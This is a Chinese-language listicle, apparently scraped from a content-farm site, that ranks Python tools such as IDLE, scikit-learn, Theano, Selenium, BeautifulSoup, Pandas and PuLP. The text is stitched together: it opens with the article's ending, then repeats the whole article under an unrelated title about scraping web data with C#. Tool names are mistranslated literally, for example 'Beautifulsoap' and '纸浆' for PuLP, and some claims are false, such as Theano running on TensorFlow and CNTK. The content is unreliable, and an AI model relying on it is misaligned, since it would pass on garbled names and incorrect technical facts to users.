  Beautifulsoap 是一个用于网页抓取的 Python 工具。这个 Python 库能够从 HTML 和 XML 文件中提取数据,是一个用于导航、搜索和修改解析树的 Python 工具。此外,Beautiful soap 可以自动将传入的文档转换为 Unicode,将传出的文档自动转换为 UTF-8。它是最好的网页抓取工具,可以节省大量时间。
  
  熊猫
  Pandas 是最常用的数据分析 Python 工具之一。 Pandas 是一个 BSD 许可的开源库,为 Python 编程语言提供高性能和易于使用的数据结构和数据分析工具。长期以来,Python 一直非常适合数据准备。 Pandas 填补了这一空白,您可以在 Python 中执行整个数据分析工作流程,而无需切换到另一个域,而且 Pandas 也是最好的 Python 数据分析工具。
  
  纸浆
  PuLP 是用于线性编程的 Python 工具之一。它是一种优化类型,可以在某些给定的约束条件下最大化目标函数。 PuLP 用 Python 编写的线性规划建模器。
  PuLP 可以生成 LP 文件并调用高度优化的求解器 GLPK、COIN CLP/CBC、CPLEX 和 GUROBI 来解决这些线性问题。学生可以使用这个工具进行常规研究,程序员可以在工作中使用这个工具。
  
  总结
  在本文中,我们讨论了各种最常用的 Python 工具。我们讨论了这些工具的使用以及如何使用它们来提高自己。希望对您有所帮助。
  原文: 查看全部

  c#抓取网页数据(最优秀的Python工具之一-learn-)
  标题图片 | CSDN从东方IC下载
  制作 | CSDN(ID:CSDNnews)
  Python 是一种开源编程语言,可用于网络编程、数据科学、人工智能和许多科学应用。学习 Python 可以让程序员专注于解决问题,而不是语法。由于 Python 比较小而且工具种类繁多,它比 Java 和 C++ 等语言具有优势,而丰富的库赋予了 Python 做各种伟大事情所需的能力。
  以下是程序员和学生最常用的一些 Python 工具:
  
  空闲
  安装 Python 时,IDLE 也会默认安装。这是目前最好的 Python 工具之一。它可以降低 Python 的入门门槛。它的主要功能包括 Python Shell 窗口(交互式解释器)、自动完成、语法突出显示和基本的集成调试器。 IDLE 轻巧易用,易于学习。但是,它不适合大型项目。许多程序员将其用作最好的 Python 工具。
  
  Scikit-学习
  Scikit-learn 是数据科学中最常用的 Python 工具之一。这是一个专为机器学习和数据科学设计的 Python 工具。该工具主要用于分类、回归、聚类、模型选择和预处理等任务。 scikit-Learn 的最佳特性是在测试数据集上执行基准测试的速度令人难以置信。因此,Scikit-learn 是程序员和学生最好的 Python 工具之一。
  
  Theano
  Theano 是一个用于数据科学的 Python 工具,对于程序员和学生来说是一个非常可靠的工具。它是深度学习最好的 Python 工具,因此非常适合深度学习。 Theano 被设计为用户友好、模块化、易于扩展并与 Python 一起使用。它能够以最好的方式表达神经网络。 Theano 可以在 TensorFlow 和 CNTK 等流行的神经网络上运行。
  
  硒
  Selenium 是最好的 Python 自动化工具之一。它适用于 Python 测试的自动化,通常用作 Web 应用程序的自动化框架。我们可以使用 Selenium 编写多种编程语言的测试脚本,包括 Java、C#、Python、ruby 以及程序员和学生使用的许多其他语言。您还可以在 Selenium 中集成 Junit 和 TestNG 等工具来管理测试用例并生成报告。
  
  测试完成
  Testcomplete 是另一个很棒的 Python 自动化工具。支持 Web、移动和桌面自动化测试。更高级的应用程序需要商业许可,它还可以帮助学生提高学习成绩。测试完成还可以像机器人框架一样执行关键字驱动的测试。它有最好的录音和播放功能,非常好用。
  
  美丽的肥皂
  Beautifulsoap 是一个用于网页抓取的 Python 工具。这个 Python 库能够从 HTML 和 XML 文件中提取数据,是一个用于导航、搜索和修改解析树的 Python 工具。此外,Beautiful soap 可以自动将传入的文档转换为 Unicode,将传出的文档自动转换为 UTF-8。它是最好的网页抓取工具,可以节省大量时间。
  
  熊猫
  Pandas 是最常用的数据分析 Python 工具之一。 Pandas 是一个 BSD 许可的开源库,为 Python 编程语言提供高性能和易于使用的数据结构和数据分析工具。长期以来,Python 一直非常适合数据准备。 Pandas 填补了这一空白,您可以在 Python 中执行整个数据分析工作流程,而无需切换到另一个域,而且 Pandas 也是最好的 Python 数据分析工具。
  
  纸浆
  PuLP 是用于线性编程的 Python 工具之一。它是一种优化类型,可以在某些给定的约束条件下最大化目标函数。 PuLP 用 Python 编写的线性规划建模器。
  PuLP 可以生成 LP 文件并调用高度优化的求解器 GLPK、COIN CLP/CBC、CPLEX 和 GUROBI 来解决这些线性问题。学生可以使用这个工具进行常规研究,程序员可以在工作中使用这个工具。
  
  总结
  在本文中,我们讨论了各种最常用的 Python 工具。我们讨论了这些工具的使用以及如何使用它们来提高自己。希望对您有所帮助。
  原文:

官方客服QQ群

微信人工客服

QQ人工客服


线